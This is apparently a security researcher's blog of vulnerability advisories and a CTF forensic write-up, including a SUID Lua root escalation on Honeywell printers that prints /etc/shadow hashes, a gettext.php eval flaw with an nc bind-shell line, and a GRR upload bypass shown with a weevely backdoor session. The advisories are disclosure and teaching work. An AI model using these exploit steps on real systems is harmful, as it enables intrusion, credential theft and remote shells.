kmkz's blog

[Advisory] CVE-2017-5671 Intermec (Honeywell) RFID Industrial printers local root w/ Busybox Jailbreak

2017-03-28T11:19:00.001+02:00

# Date: January 31th, 2017
# Author:
    Bourbon Jean-marie (kmkz) from AKERVA company | @kmkz_security

# Product Homepage:
    http://www.intermec.com/products/prtrpm43a/

# Firmware download:
    http://www.intermec.com/products/prtrpm43a/downloads.aspx

# Tested on :
    model: PM43 RFID Industrial printer
    firmware version: 10.10.011406
    kernel: Linux PM43-xxxxxxx 2.6.31 #1 PREEMPT Mon Oct 26 10:49:59 SGT 2015 armv5tejl GNU/Linux

# CVSS: 7.5 (CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
# OVE ID: OVE-20170131-0001
# CVE ID: CVE-2017-5671
# VulnDB ID: 154533

# Thanks:
    Dany Bach (Rioru) from AKERVA company for the exploitation design during the pentest during which the CVE-2017-5671 was discovered | @DDXhunter

    Honeywell team which was really reactive (with special thanks to Kevin Staggs) !

# Credits:
    The security notification that Intermec (Honeywell) sent to all of their dealers

# Additional link:
     https://akerva.com/blog/intermec-industrial-printers-local-root-with-busybox-jailbreak/

# Affected products:
    PM23, PM42, PM43, PC23, PC43, PD43 and PC42 printers with versions prior to March 2017

# Fixes:
    Download the new firmware version by using this link

# Release note: Here

Intermec (Honeywell) Industrial RFID Printers Local root privilege escalation with Busybox jailbreak

I. PRODUCT

PM43/PM43c mid-range industrial RFID printers are ideal for a wide range of applications within the distribution center / warehouse and manufacturing environments.

II. ADVISORY

Using a bad file permission, it is possible to gain full root privilege on a PM43 (but not only) RFID industrial printer as well as from the admin account as it-admin which are the two default users on the machine.
It also permits to gain full privilege resulting on a Busybox jailbreak due to the root access on the system.

The impact of this exploitation is quite critical due to the sensitive information that are available and impact the recent firmware version release (before March 12th 2017).

III. VULNERABILITY DESCRIPTION

The Lua binary rights are too permissive and this one is SUID which conduct to perform this privilege escalation using a basic trick as describe in the next section.
The default it-admin and/or admin credentials are available in the vendor's documentation and should be modified too.

IV. PROOF OF CONCEPT

Following steps can reproduce the privilege escalation once the attacker gain a Busybox shell on the system:

itadmin@PM43-XXXXXXXXXXX /tmp$ find / -perm -g=s -type f 2>/dev/null
/bin/busybox
/usr/bin/cfg
/usr/bin/lua -> Lua binary with SUID perm.
/usr/bin/httpd_restore
/usr/bin/ikev2
/usr/bin/pwauth
/usr/bin/functest
/usr/bin/imecutil
/usr/bin/httpd_fwupgrade
/usr/sbin/setkey

We then try to execute a shell command using Lua but it seems that this one is executed with non-root privileges through the Busybox shell:

itadmin@PM43-XXXXXXXXXXX /tmp$ /usr/bin/lua
Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio
> os.execute("id")
uid=1(itadmin) gid=1(itadmin) groups=1(itadmin),2(admin),3(user)

So we identify that it is possible to read/write files with root privilege on the file system without any restrictions (we will be able to modify the shadow file in order to log in as root later):

// in the Lua interpreter:

> f=io.open("/etc/shadow","rb")
> print(f)
file (0x17af0)
> c=f:read "*a"
> print(c)
root:!$1$XPCuiq25$IvWw/kKeomOyQIee8XfTb1:11851:0:99999:7:::
admin:$1$Ma/qTlIw$PPPTgRVCnkqcDQxjMBtsC0:11851:0:99999:7:::
itadmin:$1$kcHXJUjT$OIgLfTDgaEAlTbHRZFPsj.:11851:0:99999:7:::
user::11851:0:99999:7:::
ftp:*:11851:0:99999:7:::
nobody:*:11851:0:99999:7:::
lighttpd:x:1000:1000:Linux User,,,:/home/lighttpd:/bin/sh

We conclude this "proof of concept" by writing a file on the filesystem which demonstrate the possibilities that we now have using this kind of code:

fp = io.popen("akerva", "w")
fp:write(anything)
fp:close()

That gave us the following output:

itadmin@PM43-XXXXXXXXXXX /tmp$ cat akerva
AKERVA r00t
itadmin@PM43-XXXXXXXXXXX /tmp$ ls -alsh akerva
4 -rw-rw-r-- 1 root root 12 Jan 25 07:12 akerva

As explained in the above text, we then over-writed the "etc/shadow" file and we validated that it is possible to gain full root access on the filesystem even if Busybox 1.15.0 (2009 release) were present, bypassing
its shell restrictions (jailbreaking it).

V. RECOMMENDATIONS

AKERVA's Pentesters recommended to fix it by modifying the Lua binary rights (is the SUID bit necessary?) which was done in the patched firmware.
A security fix is now available in order to mitigate this issue as shown at the beginning of this advisory.

VI. VERSIONS AFFECTED

This issue affects the firmware version 10.10.011406 but after reading the latest release notes it also seems to impact all versions that were released before the updated firmware.

VII. TIMELINE

January 19th, 2017: Vulnerability identification
January 27th, 2017: First contact with the editor (Honeywell)
January 31th, 2017: Advisory submission to Honeywell security team and CVE id request
February 1st, 2017: CVE id attributed by MITRE even if the vendor is not normally considered a priority for CVE by MITRE
February 6th, 2017: Vendor confirm the vulnerability
February 16th, 2017: Vendor inform that the fix is ready (They also proposed me to test it prior to release)
March 12th, 2017: New firmware version available
March 28th, 2017: Public advisory released

VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or misuse of this advisory.

[Advisory] CVE-2016-6175

2016-07-25T13:34:00.001+02:00

# Title:

gettext.php <= 1.0.12 unauthenticated code execution with POTENTIAL privileges escalation

# Date: June 25th, 2016

# Author: kmkz (Bourbon Jean-marie) | @kmkz_security

# Project Homepage: https://launchpad.net/php-gettext/

# Download: https://launchpad.net/php-gettext/trunk/1.0.12/+download/php-gettext-1.0.12.tar.gz

# Version: 1.0.12 (latest release)

# Tested on: Linux Debian, PHP 5.6.19-2+b1

# CVSS: 7.1

# CVE ID: CVE-2016-6175

# OVE ID: OVE-20160705-0004

# OSVDB ID: n/a

# Thanks:

Lars Michelsen from NagVis project where this bug was discovered and Danilo Segan from gettext.php team project for their reactivity and professionalism

# Credits:

https://github.com/NagVis/nagvis/commit/4fe8672a5aec3467da72b5852ca6d283c15adb53

https://bugs.launchpad.net/php-gettext/+bug/1606184

# Fixes:

https://github.com/NagVis/nagvis/blob/4fe8672a5aec3467da72b5852ca6d283c15adb53/share/server/core/ext/php-gettext-1.0.12/gettext.php

https://bugs.launchpad.net/php-gettext/+bug/1606184

gettext.php <= 1.0.12 (latest) local/remote code execution with POTENTIAL privileges escalation issue

I. APPLICATION

This library provides PHP functions to read MO files even when gettext is not compiled in or when appropriate locale is not present on the system.

This issue was discovered by auditing Nagvis project source code, however NagVis is not impacted by the following issue.

NagVis is a visualization addon for the well known network managment system Nagios.
NagVis can be used to visualize Nagios Data, e.g. to display IT processes like a mail system or a network infrastructure.

II. ADVISORY

A possible remote (or local) code execution were identified in the gettext.php file allowing an attacker to gain access on the targeted host system and/or gain application’s privileges throught a specially crafted .mo language file.

The $string variable is not sufficiently sanitized before to be submitted to eval() function (which is dangerous) in select_string() function causing the security issue.

III. VULNERABILITY DESCRIPTION

The gettext_reader() funtion try to test magic number that need to match with .mo files :

$MAGIC1 = "\x95\x04\x12\xde";

$MAGIC2 = "\xde\x12\x04\x95";

If it seems correct then we’ll continue.

We then extract forms from .mo file’s header through get_plural_forms() function and check them with a deprecated (since php 5.3.0 because it can be easily bypassed by adding a Null Byte) eregi() regexp function in order to valid they match the following pattern:

plural-forms: ([^\n]*)\n

(This regular expression matching have no effect on our payload)

Next step will be to sanitize the obtained expression string before to practice the fatal eval() on this one.

Here is the impacted code snippet :

snip...

if (eregi("plural-forms: ([^\n]*)\n", $header, $regs))

$expr = $regs[1];

else

$expr = "nplurals=2; plural=n == 1 ? 0 : 1;";

$this->pluralheader = $this→sanitize_plural_expression($expr); // The vulnerable function!!

}

snip…

The comments presents at the beginning of sanitize_plural_expression() function explain that this one is here to prevent the eval() function attacks called later.

Comments are :

/** Sanitize plural form expression for use in PHP eval call.

@access private

@return string sanitized plural form expression**/

In fact, the security is guaranteed by a "preg_replace" that not permit us to inject specials chars.

snip...

function sanitize_plural_expression($expr) {

// Get rid of disallowed characters.

$expr = preg_replace('@[^a-zA-Z0-9_:;\?\|\&=!<>+*/\%-]@', '', $expr); // « sanitizer »

// Add parenthesis for tertiary '?' operator.

$expr .= ';';

$res = '';

$p = 0;

for ($i = 0; $i < strlen($expr); $i++) { // no indentation ?

$ch = $expr[$i];

switch ($ch) {

case '?':

$res .= ' ? (';

$p++;

break;

case ':':

$res .= ') : (';

break;

case ';':

$res .= str_repeat( ')', $p) . ';';

$p = 0;

break;

default:

$res .= $ch;

}

return $res;

}

snip...

Code snippet from the vulnerable function that execute eval() on the "sanitized" string :

snip…

$string = $this->get_plural_forms();

$string = str_replace('nplurals',"\$total",$string);

$string = str_replace("n",$n,$string);

$string = str_replace('plural',"\$plural",$string);

$total = 0;

$plural = 0;

eval("$string"); // eval called …. launch my shell baby !

snip…

However, for example (but not only!) we can call system() function with « sh » parameter in order to launch a /bin/sh command on the targeted system and allowing us to gain an interactive shell with application privileges on it.

A real scenario could be that a real attacker overwrites languages files located in the /nagvis-1.8.5/share/frontend/nagvis-js/locale/ directory, in an internal repository, a Docker shared folder or any other folder.

He now just have to wait or to execute the payload himself to obtain his shell, that’s why this vulnerability is not so harmless !

Note :

Apart from that we could imagine that the attacker transform the $expr variable to obtain an interactive remote shell without eval() and with (maybe) more privileges like this :

$expr= (`nc -l -p 1337 -e /bin/sh`); // proof of concept and screenshots joined to this advisory

Like a Perl developer could say: « there is more than one way to do it »

IV. PROOF OF CONCEPT

Following PHP code reproduce the exploitation concept base on the 1.0.9 version

(without a crafted .mo file and joined with this advisory).

V. RECOMMENDATIONS

As explained in the associated « bug track », it was assumed that PO and MO files would come from untrusted translators.

Check the permissions on PO/MO files in order to ensure the provenance and the fact that is only accessible from trusted parties.

The project's members are writing a new version that will patch this issue definitively, thank you to respect their work and to apply this temporary fix.

VI. VERSIONS AFFECTED

This issue affect the latest GETTEXT .PHP version and were found in latest stable NAGVIS (1.8.5) version.

It could affect the a lot of web application and/or many website as long as it will not be updated.

VII. TIMELINE

June 21th, 2016: Vulnerability identification

June 21th, 2016: Nagvis project developers and gettext.php developers notification

June 22th, 2016: Nagvis project developers response

June 25th, 2016: Nagvis Patch release (even if not really affected)

June 27th, 2016: Gettext.php team response (from Danilo Šegan), exchange started

July 5th, 2016: CVE request ID (mitre) and OVE ID request

July 7th, 2016: CVE-2016-6175 attributed by MITRE

July 25th, 2016: Public disclosure

VIII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with

no warranties or guarantees of fitness of use or otherwise.

I accept no responsibility for any damage caused by the use or misuse of this advisory.

[CVE-2016-6175] gettext.php code execution - PoC example:

[Write-Up] ESGI CTF 2k16 ForensicGio (Forensic 400)

2016-03-05T18:21:00.002+01:00

Salut à tous,
ce jeudi avait lieu le CTF du Security Day 2016 de l'ESGI Paris et auquel notre team sec0d participait enfin du moins ceux qui étaient là :P.

Durant ce CTF nombre de challz ont été poncés mais un en particulier sur lequel j'ai passé un moment me donne envie d'écrire ce write-up car j'avoue l'avoir pas mal apprécié (merci@Sug4r7 de l'avoir concocté).
Allez, allons-y et arrêtons de "blablater" !

Le début du chall débute par la récupération de 2 archives tar.gz.
L'une contenant le chall et l'autre son checksum md5 pour valider de son intégrité, l'objectif pour valider ce chall étant de récupérer un flag ainsi qu'une adresse mail, allez, on se lance!!

Ces fichiers downloadés on check le md5 puis on extract le contenu de l'archive et faisons un "file" dessus afin de déterminer ce à quoi nous avons affaire:

# cat CTF_security_day_2016.tar.gz.md5
2b5dfdabf403b309c35d72b455a96201:CTF_security_day_2016.tar.gz

# md5sum CTF_security_day_2016.tar.gz
2b5dfdabf403b309c35d72b455a96201

L'archive extraitre révèle un format appelé EWF (Expert Witness Compression Format) généré par certains tools de dump de media et/ou partitions tel que ewfacquire sous linux.

Ayant pu identifier la facilité de certains challs présent je tente un "string"
dessus et jouant avec "grep" afin de voir si j'en ressort quelques chose mais .. ce chall n'est pas aussi facile, poursuivons.

Kali Linux possède nativement nombre de tools pour jouer avec les dumps ewf alors je teste ewfinfo dans une première approche de collecte d'info et, une fois le fichier renommé avec l'extension (.s01) qui va bien, j'obtiens déjà quelques résultat:

ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

EWF information
        File format:              EnCase 6
        Sectors per chunk:        64
        Error granularity:        64
        Compression method:       deflate
        Compression level:        best compression
        Set identifier:           6e1ec0c6-715f-f848-9119-e59a9b00dcc0

Media information
        Media type:                removable disk
        Is physical:               yes
        Bytes per sector:          512
        Number of sectors:         2015232
        Media size:                984 MiB (1031798784 bytes)

Digest hash information
        MD5:                        fff71a85859a1af7ede437178d701809
        SHA1:                       cf0b504bd9ea6e1b7183c9652ed3a402f12b4551

Ok, première info intéréssante, pour la suite nous allons donc extraire le contenu du dump vers un format plus standard à l'aide de l'outils ewfexport

L'outil une fois lancé demande vers quel format l'extraire etc.. il suffit de laisser cela par défaut puis de donner un nom de fichier une fois qu'il le demander.
Il s'appelera donc "CTF2.raw" pour la suite.

De là je me dis que peut-être serait-il possible de récupérer quelque chose via un peu de file carving, je lance donc un "foremost", hélas son output nous ramène à la raison: non ce ne sera pas aussi simple malgrès le "easy" ci-dessus!!

Foremost started at Fri Mar  4 01:19:56 2016
Invocation: foremost CTF2.raw 
Output directory: /root/Bureau/CTF/ESGI/foren/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: CTF2.raw
Start: Fri Mar  4 01:19:56 2016
Length: 984 MB (1031798784 bytes)
 
Num         Name (bs=512)               Size         File Offset         Comment 

Finish: Fri Mar  4 01:20:12 2016

0 FILES EXTRACTED
        
------------------------------------------------------------------

Foremost finished at Fri Mar  4 01:20:12 2016

Okay okay ... voyons donc voir la table de partition présente sur ce dump grâce à l'outils mmls.

mmls CTF2.raw 

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

   Slot      Start        End          Length       Description

000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0002015231   0002013184   NTFS / exFAT (0x07)

Une partition windows semble bien présente, un simple "file" dessus indique même "DOS/MBR Boot Sector" ce qui indique donc que ce serait probablement bootable.
Après quelque manipulations foireuses et bricolages en tout genre, je découvre un tools appelé mbr_parser.py permettant de parser ce type de fichier et d'en remonter certaines infos ce qui permet donc d'affirmer que non, pas bootable :-/

===== Partition Table #1 =====
Boot flag: 0x0 
Partition type: 0x7 (NTFS)
Starting Sector (LBA): 0x800 (2048)
Starting CHS: Cylinder: 0 Head: 32 Sector: 33
Ending CHS: Cylinder: 125 Head: 112 Sector: 51
Size in sectors: 0x1eb800 (2013184)



===== Partition Table #2 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #3 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #4 =====
Boot flag: 0x0 
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



Valid Signature (0xaa55): True => (0xaa55)

Nous savons alors que ce ne sera pas bootable en l'état, ok, j'ai donc pratiqué à l'extraction de chacune des partition à l'aide de dd en espérant que la bonne partition pourra être montée et que ce sera alors la fin de ce chall.
Nous avions donc obtenu la liste des partitions et pouvions à préent les extraire de ce dump:

dd if=CTF2.raw of=CTF2_0.bin bs=512 skip=0 count=1
dd if=CTF2.raw of=CTF2_1.bin bs=512 skip=2048 count=2015231

file *.bin
CTF2_0.bin: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (snip)
CTF2_1.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-" (snip)

en revanche lors de divers essais, il s'est avéré impossible de monter le volume souhaité sur ma linux, cette partition n'étant visiblement pas "standard".
A partir de la, changement de stratégie.

Le mount ne passant toujours pas en vfat via dd ainsi qu'avec l'outils ewfmount sur le premier dump ewf de l'archive, nous comprenons qu'il faut essayer autre chose.

dd if=CTF2.raw of=new.img count=1 bs=1000MiB
file new.img
new.img: DOS/MBR boot sector; partition 1 (snip)

L'idée sera donc la suivante:

prendre le fichier new.img et le convertir en vmdk via qemu
rattacher ce vmdk à une machine virtuelle Windows et essayer de monter le volume

C'est la que mon coéquipier Orikata et sa machine sont intervenus!
La converion via Qemu faite:

 /qemu-img convert -f raw -O vmdk /Volumes/xxx/new.img /Volumes/xxx/new.vmdk

il suffit de rattacher le vmdk en tant que volume à une VM Windows puis... SURPRISE!!

Un volume Bitlocker!
Voici donc la raison du temps perdu à tenter de le monter en vain sur ma Kali :/.
Ok, à partir de la comment faire pour monter ce volume sans la clef?
Et bien compliqué mais Orikata se rappellant qu'il est possible de monter le container via la clef de récupération via l'onglet "j'ai oublié mon mot de passe"

et que cette dernière est de la forme 8 x 6 chars séparés par des "-".
Nous nous replongeons dans la collecte d'info faites en amont et remarquons quelques chose d'étrange.
Il s'agit d'une note contenue dans les métadata du dump initial ewf et qui n'est sûrement pas le fruit du hasard rappellez-vous de cela:

ewfinfo CTF_security_day_2016.s01 

ewfinfo 20140608

Acquiry information

        Case number:                1

        Description:                Security Day ESGI 2016 - Level: easy

        Examiner name:              IT Forensic investigator

        Evidence number:            1

        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191

        Acquisition date:           Thu Mar  3 03:17:59 2016

        System date:                Thu Mar  3 03:17:59 2016

        Operating system used:      Linux

        Software version used:      20130416

        Password:                   N/A

        Model:                      DataBar USB2.0

Nous tentons alors de pratiquer de cette manière afin de bypasser la clef du Bitlocker et...

Le container nous offre deux fichiers: le 1er contenant juste un peu de texte rappellant les obectifs du challenges, le second quant à lui étant un .psd que l'on s'empresse d'ouvrir sous Gimp ce qui nous permet d'identifier des claques présent cachant un flag dans la bouche d'un espèce de dinosaure.

Image de base avec la bonne promo pour la boite de notre ami @Sug4r7 qui a créer ce chall:

Les filtres:

Le filtre "code_ctf" attire immédiatement notre attention mais hélas se trouve illisible:

Afin de gagner du temps, je décide donc de lire les métadata du fichier image de base via exiftool et obtient entre autre alors le fameux flag tant désiré.

ExifTool Version Number         : 10.11
File Name                       : CTF_1.info
Directory                       : .
File Size                       : 22 MB
File Modification Date/Time     : 2016:03:03 01:42:37+01:00
File Access Date/Time           : 2016:03:05 15:45:08+01:00
File Inode Change Date/Time     : 2016:03:04 04:33:39+01:00
File Permissions                : rwxrwxrwx
File Type                       : PSD
File Type Extension             : psd
MIME Type                       : application/vnd.adobe.photoshop
Num Channels                    : 3
Image Height                    : 1600
Image Width                     : 2560
Bit Depth                       : 8
Current IPTC Digest             : cdcffa7da8c7be09057076aeaf05c34e
Coded Character Set             : UTF8
Application Record Version      : 0
IPTC Digest                     : cdcffa7da8c7be09057076aeaf05c34e
XMP Toolkit                     : Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00
Document ID                     : adobe:docid:photoshop:8e502fea-e0d3-11e5-88dd-8346bba80fd1
Instance ID                     : xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
Original Document ID            : 54597A271ED407F91E4348F2B8D7EDD3
History Action                  : saved, converted, derived, saved, saved
History Instance ID             : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7, xmp.iid:229920ec-c5e4-f34c-84f6-4a06983a49ff, xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
History When                    : 2016:03:03 01:05:46+01:00, 2016:03:03 01:05:46+01:00, 2016:03:03 01:42:37+01:00
History Software Agent          : Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows)
History Changed                 : /, /, /
History Parameters              : from image/jpeg to application/vnd.adobe.photoshop, converted from image/jpeg to application/vnd.adobe.photoshop
Derived From Instance ID        : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7
Derived From Document ID        : 54597A271ED407F91E4348F2B8D7EDD3
Derived From Original Document ID: 54597A271ED407F91E4348F2B8D7EDD3
Format                          : application/vnd.adobe.photoshop
Color Mode                      : RGB
Text Layer Name                 : code_ctf
Text Layer Text                 : CODE CTF: 20160303_A27R425
Document Ancestors              : 54597A271ED407F91E4348F2B8D7EDD3
Create Date                     : 2016:03:03 00:59:27+01:00
Metadata Date                   : 2016:03:03 01:42:37+01:00
X Resolution                    : 72
Displayed Units X               : inches
Y Resolution                    : 72
Displayed Units Y               : inches
Global Angle                    : 30
Global Altitude                 : 30
Photoshop Thumbnail             : (Binary data 4789 bytes, use -b option to extract)
Has Real Merged Data            : No
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CC 2014
Exif Byte Order                 : Big-endian (Motorola, MM)
Bits Per Sample                 : 8 8 8
Photometric Interpretation      : RGB
Orientation                     : Horizontal (normal)
Samples Per Pixel               : 3
Resolution Unit                 : inches
Software                        : Adobe Photoshop CC 2014 (Windows)
Modify Date                     : 2016:03:03 01:42:37
Exif Version                    : 0221
Color Space                     : Uncalibrated
Exif Image Width                : 2560
Exif Image Height               : 1600
Compression                     : JPEG (old-style)
Thumbnail Offset                : 386
Thumbnail Length                : 0
Image Size                      : 2560x1600
Megapixels                      : 4.1

CODE CTF: 20160303_A27R425

Malheureusement il ne nous permis pas de valider cette épreuve car sans l'adresse mail du destinataire impossible de le valider.... frustration extême car cela nous pris tout de même pas mal de temps pour au final 0 points!

Cela étant, ça méritait bien un petit write-up ne serait-ce que parcequ'il ne fû validé qu'une seule fois par la team gagnante et que d'autre aimerait sûrement savoir comment il fallait procéder ;-).

Le mail pour sa part ne semblait réèllement pas présent ici, en tout cas pas à notre connaissance et la fin de ce CTF arriva avec pour la sec0d la 5ème place et des cadeaux tout de même obtenus!! :-)

A bientôt pour un prochain writeup ou paper.
kmkz

Quelques liens utiles pour ce challenge Forensic

mmls

mbr_parser.py

ForensicWiki

EWF tools

http://www.cnwrecovery.com/html/e01_and_virtual.html

http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-forensics.html

(en souvenir pour les kewpins: sec0d à la remise des prix)

[Advisory] CVE-2016-1000300 Vulnérabilité dans GRR <= 3.0.0-RC1

2016-01-17T19:05:00.000+01:00

Salut à tous!

Nouvelle année, nouveaux ponçages et comme j'ai l'impression que nombres de vulns encore présentes ne devraient plus l'être depuis longtemps, je me permet un petit retour sur un de mes récents advisory.

En effet, il est question ici d'un cas d'école que j'ai eu le plaisir de découvrir récemment sur un outils de réservation de salles... en fait on pourrait se dire "ouai super.. so what!??"

Mais lorsque cet outil vous permet de pwn une infra lors d'un pentest et de plus est présent sur TOUTES les versions de cette application utilisée par nombre d'institutions notamment FR, je pense qu'il peut être pertinent d'en parler.

Toutefois et avant de rentrer dans la vuln + l'advisory lui-même je tiens à remercier les personnes maintenant ce projet open source avec qui j'ai pu échanger afin de permettre de travailler sur un correctif de sécurité qui sera donc backporté et inclu dans la future version de l'application.

Vous trouverez les ressources nécéssaires en fin d'article comme d'habitude sur le blog.

Assez parler place aux détails! :D

Ici tout d'abord le code vulnérable se trouvant dans le fichier "admin/admin_config1.php" du projet GRR ainsi que son lien direct vers pastebin.com:

Bon comme vous pourrez le constater les parties intéréssantes sont déjà commentées expliquant ainsi les grandes lignes de ce qui nous intéresse.
On identifie ici 3 problèmes sur ce code:

1- On peu bypass le filtre d'upload car ce dernier n'effectue qu'un seul test: l'extension!
Ainsi une double extension (backdoor.php.png) permet de contourner cela aisément

2- Ce super script php sorti tout droit des années 90' nous permet de déterminer le noms qu'aura notre backdoor ainsi que son chemin.
En effet, le script va simplement supprimer la seconde extension et comme il effectue un explode() sur notre fichier afin de récupérer ce qui se situe derrière notre ".", il va le renommer en "logo.php" car le 2ème élément du tableau "$tab" sera bel et bien notre extension... php ou autre par ailleurs ;-).

3- Ici c'est la petite touche finale: le fichier sensé être un logo se retrouve "chmod 666" (RW pour tout le monde) ce qui permet en prime d'obtenir les droits nécéssaires.

En effet, pour peu que les droits soient bien gérés il serait difficile de faire exécuter ce que l'on souhaite, hors la tout est possible, on peux même grâce à cela obtenir des privilèges largements supérieurs à ceux attendus chose que j'ai pu tester et surtout réussir en gagnant ainsi les droits NT Authority\System sur un environnement Microsoft de manière triviale!

Vous l'aurez compris, c'est assez easy à exploiter sous condition toutefois d'avoir des privilèges au départ afin de pouvoir modifier le logo en question (ce qui m'a été possible via une SQLI sur une application tierce mais qui par ailleurs ne me permettait pas d'obtenir de shell... ce qui fût donc réglé grâce au GRR présent).

Je vous laisse ici le soin de lire l'advisory en question ainsi que les différents liens concernant ce dernier.

Ce fût court et assez faiblement technique mais il est vrai que ce genre de vuln existe encore alors autant les étudiers car comem dis en début d'article: ce sont des cas d'écoles que l'on ne devrait même plus trouver hélas!!

=================================================================================================

Public Advisory

=================================================================================================

Title: GRR <= 3.0.0-RC1 (all versions) file upload filter bypass (authenficated) + privilege escalation(in some case)

Date: January 7th, 2016

Vendor Homepage: http://grr.devome.com/fr/

Software Link: GRR project

Dork: inurl:/grr/ intext:réservation intitle:"GRR"

CVSS score: 9.9
OVE ID: OVE-20160705-0044
CVE ID: CVE-2016-1000300

I. APPLICATION
======================================================================================

GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.

II. ADVISORY
======================================================================================

The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.

Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.

This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.

Besides, the application does only a basic conditional php test
on the extension of the uploaded file.

It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).

So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).

To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.

This vulnerability is a combination of 3 issues:

- predictable uploaded file names and path
- upload of any kind of file
- bad files permission when we upload this file that permit us to gain privilegied access.

Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).

III. PROOF OF CONCEPT
======================================================================================

Generate backdoor:

    kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
    Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
    kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg

Login as admin and upload this new 'logo' > Administration > logo

Enjoy your shell!

      kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123
    [+] weevely 3.2.0

    [+] Target:    laboratoire.target.fr:F:\server\grr\images
    [+] Session:    /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
    [+] Shell:    System shell

    [+] Browse the filesystem or execute commands starts the connection
    [+] to the target. Type :help for more information.

    weevely> whoami
    autorite nt\system

IV. RISK
======================================================================================

By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.

This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to full information system's compromission using pivots techniques and imagination!

V. VERSIONS AFFECTED
======================================================================================

GRR 3.0.0-RC1 is vulnerable (and all previous versions)

VI. TIMELINE
======================================================================================

December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure

======================================================================================

Projet GRR

Git Hub du projet contenant le fix

Publication de Nicolas Bouteiller (contributeur/dev de la prochaine version GRR)

So now, update your GRR install ;-)

A bientôt pour de nouvelles aventures !!!

Python sandbox escape: sortez du bac à sable !

2014-11-15T20:58:00.000+01:00

Salut tout le monde!

De passage sur mon blog pour un nouveau papier concernant quelque chose sur lequel je serais emmené à travailler bien plus en profondeur: l'évasion de sandbox !

Pour ceux qui ne comprendraient pas le fait de jouer dans des bacs à sable python, je vous remmène à l'actualité de la semaine passé avec une MAGNIFIQUE publication de l'équpe de chez G-DATA (salut à RootBSD au passage!) sur Cuckoo qui travaille lui-même sur une base sandbox en Python (vulnérabilité corrigée dans la foulée sur la version 1.1.1) et la possibilité pour un code malveillant d'en sortir via une variable "buf" mal 'sanitized' comme ceci:

Link vers la publication ici et vers le POC de G-DATA ici .

Bon .. le contexte étant dessiné, passons maintenant à l'article lui-même!
Première chose: avoir une sandbox a pwnd sans quoi on n'irait pas bien loin... j'ai donc cherché sur le net et en ai trouvé 2 sympa.

Ceci dis je n'en aurai retenu qu'une, l'autre m'ayant déjà amusé par le passé et donc voulant aussi m'amuser un peu je me suis dis que celle ci serait plus "fun" à exploiter!

Il s'agit d'un ancien challenge du CTF de la Hack.lu de 2012 (liens en fin d'article) mais qui, pour un débutant comme moi dans le domaine, n'a pas pris une ride alors ... allons-y !

Voici la source de cette sandbox:

#!/usr/bin/python
def make_secure():
UNSAFE = ['open',
'file',
'execfile',
'compile',
'reload',
'__import__',
'eval',
'locals',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Suppression de la liste des builtins dangeureux:
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
